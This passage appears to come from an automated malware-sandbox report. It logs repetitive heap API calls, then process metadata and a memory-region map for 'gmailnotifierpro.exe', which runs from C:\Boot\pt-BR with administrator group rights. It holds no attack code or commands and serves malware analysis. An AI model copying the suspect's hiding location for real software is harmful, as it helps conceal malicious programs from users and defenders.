MemoryPointer=0x160526b3950) returned 0x30 [0120.323] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b3950) returned 1 [0120.323] GetProcessHeap () returned 0x160526b0000 [0120.323] GetProcessHeap () returned 0x160526b0000 [0120.323] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb5f0) returned 1 [0120.323] GetProcessHeap () returned 0x160526b0000 [0120.323] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb5f0) returned 0x20 [0120.324] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb5f0) returned 1 [0120.324] GetProcessHeap () returned 0x160526b0000 [0120.324] GetProcessHeap () returned 0x160526b0000 [0120.324] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b42c0) returned 1 [0120.324] GetProcessHeap () returned 0x160526b0000 [0120.324] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b42c0) returned 0x30 [0120.325] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b42c0) returned 1 [0120.325] GetProcessHeap () returned 0x160526b0000 [0120.325] GetProcessHeap () returned 0x160526b0000 [0120.325] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb560) returned 1 [0120.325] GetProcessHeap () returned 0x160526b0000 [0120.325] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb560) returned 0x20 [0120.326] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb560) returned 1 [0120.326] GetProcessHeap () returned 0x160526b0000 [0120.326] GetProcessHeap () returned 0x160526b0000 [0120.326] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526ba970) returned 1 [0120.326] GetProcessHeap () returned 0x160526b0000 [0120.326] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526ba970) returned 0xe [0120.326] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526ba970) returned 1 [0120.326] GetProcessHeap () returned 0x160526b0000 [0120.326] GetProcessHeap () returned 0x160526b0000 [0120.326] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb620) returned 1 [0120.326] GetProcessHeap () returned 0x160526b0000 [0120.326] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb620) returned 0x20 [0120.327] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb620) returned 1 [0120.327] GetProcessHeap () returned 0x160526b0000 [0120.327] GetProcessHeap () returned 0x160526b0000 [0120.327] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526ba9b0) returned 1 [0120.327] GetProcessHeap () returned 0x160526b0000 [0120.327] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526ba9b0) returned 0x16 [0120.327] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526ba9b0) returned 1 [0120.327] GetProcessHeap () returned 0x160526b0000 [0120.327] GetProcessHeap () returned 0x160526b0000 [0120.328] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb9e0) returned 1 [0120.328] GetProcessHeap () returned 0x160526b0000 [0120.328] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb9e0) returned 0x20 [0120.328] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb9e0) returned 1 [0120.328] GetProcessHeap () returned 0x160526b0000 [0120.328] GetProcessHeap () returned 0x160526b0000 [0120.328] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526babd0) returned 1 [0120.328] GetProcessHeap () returned 0x160526b0000 [0120.328] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526babd0) returned 0x16 [0120.328] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526babd0) returned 1 [0120.328] GetProcessHeap () returned 0x160526b0000 [0120.328] GetProcessHeap () returned 0x160526b0000 [0120.328] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb590) returned 1 [0120.328] GetProcessHeap () returned 0x160526b0000 [0120.328] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb590) returned 0x20 [0120.329] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb590) returned 1 [0120.329] GetProcessHeap () returned 0x160526b0000 [0120.329] GetProcessHeap () returned 0x160526b0000 [0120.329] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526d5a90) returned 1 [0120.329] GetProcessHeap () returned 0x160526b0000 [0120.329] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526d5a90) returned 0x82 [0120.330] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526d5a90) returned 1 [0120.330] GetProcessHeap () returned 0x160526b0000 [0120.330] GetProcessHeap () returned 0x160526b0000 [0120.330] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb7d0) returned 1 [0120.330] GetProcessHeap () returned 0x160526b0000 [0120.330] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb7d0) returned 0x20 [0120.330] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb7d0) returned 1 [0120.330] GetProcessHeap () returned 0x160526b0000 [0120.330] GetProcessHeap () returned 0x160526b0000 [0120.330] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bab10) returned 1 [0120.330] GetProcessHeap () returned 0x160526b0000 [0120.330] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bab10) returned 0xe [0120.331] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bab10) returned 1 [0120.331] GetProcessHeap () returned 0x160526b0000 [0120.331] GetProcessHeap () returned 0x160526b0000 [0120.331] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb650) returned 1 [0120.331] GetProcessHeap () returned 0x160526b0000 [0120.331] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb650) returned 0x20 [0120.331] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb650) returned 1 [0120.331] GetProcessHeap () returned 0x160526b0000 [0120.331] GetProcessHeap () returned 0x160526b0000 [0120.331] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bab70) returned 1 [0120.331] GetProcessHeap () returned 0x160526b0000 [0120.331] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bab70) returned 0xa [0120.332] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bab70) returned 1 [0120.332] GetProcessHeap () returned 0x160526b0000 [0120.332] GetProcessHeap () returned 0x160526b0000 [0120.332] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb500) returned 1 [0120.332] GetProcessHeap () returned 0x160526b0000 [0120.332] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb500) returned 0x20 [0120.332] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb500) returned 1 [0120.332] GetProcessHeap () returned 0x160526b0000 [0120.332] GetProcessHeap () returned 0x160526b0000 [0120.332] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526baa30) returned 1 [0120.332] GetProcessHeap () returned 0x160526b0000 [0120.332] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526baa30) returned 0xc [0120.332] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526baa30) returned 1 [0120.333] GetProcessHeap () returned 0x160526b0000 [0120.333] GetProcessHeap () returned 0x160526b0000 [0120.333] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb8f0) returned 1 [0120.333] GetProcessHeap () returned 0x160526b0000 [0120.333] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb8f0) returned 0x20 [0120.333] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb8f0) returned 1 [0120.333] GetProcessHeap () returned 0x160526b0000 [0120.333] GetProcessHeap () returned 0x160526b0000 [0120.333] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4440) returned 1 [0120.333] GetProcessHeap () returned 0x160526b0000 [0120.333] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4440) returned 0x18 [0120.333] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4440) returned 1 [0120.333] GetProcessHeap () returned 0x160526b0000 [0120.333] GetProcessHeap () returned 0x160526b0000 [0120.334] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b90e0) returned 1 [0120.334] GetProcessHeap () returned 0x160526b0000 [0120.334] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b90e0) returned 0x20 [0120.334] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b90e0) returned 1 [0120.334] GetProcessHeap () returned 0x160526b0000 [0120.334] GetProcessHeap () returned 0x160526b0000 [0120.334] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b8f60) returned 1 [0120.334] GetProcessHeap () returned 0x160526b0000 [0120.334] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b8f60) returned 0x20 [0120.335] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b8f60) returned 1 [0120.335] GetProcessHeap () returned 0x160526b0000 [0120.335] GetProcessHeap () returned 0x160526b0000 [0120.335] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b91d0) returned 1 [0120.335] GetProcessHeap () returned 0x160526b0000 [0120.335] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b91d0) returned 0x20 [0120.335] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b91d0) returned 1 [0120.335] GetProcessHeap () returned 0x160526b0000 [0120.336] GetProcessHeap () returned 0x160526b0000 [0120.336] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b8fc0) returned 1 [0120.336] GetProcessHeap () returned 0x160526b0000 [0120.336] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b8fc0) returned 0x20 [0120.337] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b8fc0) returned 1 [0120.337] GetProcessHeap () returned 0x160526b0000 [0120.337] GetProcessHeap () returned 0x160526b0000 [0120.337] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4030) returned 1 [0120.337] GetProcessHeap () returned 0x160526b0000 [0120.337] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4030) returned 0x18 [0120.337] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4030) returned 1 [0120.337] GetProcessHeap () returned 0x160526b0000 [0120.337] GetProcessHeap () returned 0x160526b0000 [0120.337] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b9140) returned 1 [0120.337] GetProcessHeap () returned 0x160526b0000 [0120.337] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b9140) returned 0x20 [0120.338] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b9140) returned 1 [0120.338] GetProcessHeap () returned 0x160526b0000 [0120.338] GetProcessHeap () returned 0x160526b0000 [0120.338] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b9080) returned 1 [0120.338] GetProcessHeap () returned 0x160526b0000 [0120.338] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b9080) returned 0x20 [0120.338] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b9080) returned 1 [0120.338] GetProcessHeap () returned 0x160526b0000 [0120.339] GetProcessHeap () returned 0x160526b0000 [0120.339] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b8ff0) returned 1 [0120.339] GetProcessHeap () returned 0x160526b0000 [0120.339] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b8ff0) returned 0x20 [0120.339] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b8ff0) returned 1 [0120.339] GetProcessHeap () returned 0x160526b0000 [0120.339] GetProcessHeap () returned 0x160526b0000 [0120.339] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b9170) returned 1 [0120.339] GetProcessHeap () returned 0x160526b0000 [0120.339] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b9170) returned 0x20 [0120.340] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b9170) returned 1 [0120.340] GetProcessHeap () returned 0x160526b0000 [0120.363] GetProcessHeap () returned 0x160526b0000 [0120.363] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b91a0) returned 1 [0120.363] GetProcessHeap () returned 0x160526b0000 [0120.363] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b91a0) returned 0x20 [0120.364] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b91a0) returned 1 [0120.364] GetProcessHeap () returned 0x160526b0000 [0120.364] GetProcessHeap () returned 0x160526b0000 [0120.364] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4050) returned 1 [0120.364] GetProcessHeap () returned 0x160526b0000 [0120.364] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4050) returned 0x18 [0120.364] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4050) returned 1 [0120.364] GetProcessHeap () returned 0x160526b0000 [0120.364] GetProcessHeap () returned 0x160526b0000 [0120.364] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b9020) returned 1 [0120.365] GetProcessHeap () returned 0x160526b0000 [0120.365] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b9020) returned 0x20 [0120.365] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b9020) returned 1 [0120.365] GetProcessHeap () returned 0x160526b0000 [0120.365] GetProcessHeap () returned 0x160526b0000 [0120.365] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4a80) returned 1 [0120.365] GetProcessHeap () returned 0x160526b0000 [0120.365] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4a80) returned 0x18 [0120.365] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4a80) returned 1 [0120.365] exit (_Code=0) Thread: id = 163 os_tid = 0x1358 Process: id = "22" image_name = "gmailnotifierpro.exe" filename = "c:\\boot\\pt-br\\gmailnotifierpro.exe" page_root = "0x5312d000" os_pid = "0xac8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x358" cmd_line = "C:\\Boot\\pt-BR\\gmailnotifierpro.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3118 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3119 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3120 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3121 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3122 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3123 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3124 start_va = 0xfb0000 end_va = 0x11a9fff monitored = 1 entry_point = 0x11a131e region_type = mapped_file name = "gmailnotifierpro.exe" filename = "\\Boot\\pt-BR\\gmailnotifierpro.exe" (normalized: "c:\\boot\\pt-br\\gmailnotifierpro.exe") Region: id = 3125 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3126 start_va = 0x7ff5ff9e0000 end_va = 0x7ff5ffa02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff9e0000" filename = "" Region: id = 3127 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3478 start_va = 0x400000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3479 start_va = 0x7ffa61fc0000 end_va = 0x7ffa62027fff monitored = 1 entry_point = 0x7ffa61fc4970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3480 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3481 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3960 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3961 start_va = 0x7ff5ff8e0000 end_va = 0x7ff5ff9dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff8e0000" filename = "" Region: id = 3962 start_va = 0x170000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3963 start_va = 0x560000 end_va = 0x61dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3964 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3965 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3966 start_va = 0x7ff5ff860000 end_va = 0x7ff5ff8ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 3967 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3968 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3969 start_va = 0x620000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 3970 start_va = 0x170000 end_va = 0x176fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3971 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3972 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4199 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4200 start_va = 0x720000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 4201 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4202 start_va = 0x7ffa624c0000 end_va = 0x7ffa6255cfff monitored = 1 entry_point = 0x7ffa624c1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4203 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4204 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4205 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4206 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4207 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4289 start_va = 0x1c0000 end_va = 0x1f8fff monitored = 0 entry_point = 0x1c12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4290 start_va = 0x720000 end_va = 0x8a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 4291 start_va = 0x8c0000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 4292 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4293 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 4294 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 4295 start_va = 0x8d0000 end_va = 0xa50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 4296 start_va = 0x11b0000 end_va = 0x25affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011b0000" filename = "" Region: id = 4297 start_va = 0xa60000 end_va = 0xc52fff monitored = 1 entry_point = 0xc5131e region_type = mapped_file name = "gmailnotifierpro.exe" filename = "\\Boot\\pt-BR\\gmailnotifierpro.exe" (normalized: "c:\\boot\\pt-br\\gmailnotifierpro.exe") Region: id = 4355 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4356 start_va = 0x7ffa76d30000 end_va = 0x7ffa76d39fff monitored = 0 entry_point = 0x7ffa76d31350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4357 start_va = 0x7ffa5e8d0000 end_va = 0x7ffa5f2b5fff monitored = 1 entry_point = 0x7ffa5e8d5b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4358 start_va = 0x7ffa623c0000 end_va = 0x7ffa624b6fff monitored = 0 entry_point = 0x7ffa623e4d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 4738 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 4739 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 4740 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5450 start_va = 0x7ff9ff1c0000 end_va = 0x7ff9ff1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1c0000" filename = "" Region: id = 5451 start_va = 0x7ff9ff1d0000 end_va = 0x7ff9ff1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1d0000" filename = "" Region: id = 5452 start_va = 0x7ff9ff1e0000 end_va = 0x7ff9ff26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1e0000" filename = "" Region: id = 5453 start_va = 0x7ff9ff270000 end_va = 0x7ff9ff2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff270000" filename = "" Region: id = 5454 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5455 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 5456 start_va = 0x460000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 5457 start_va = 0xa60000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 5458 start_va = 0x25b0000 end_va = 0x266ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 5459 start_va = 0xa60000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 5460 start_va = 0xbb0000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 5461 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 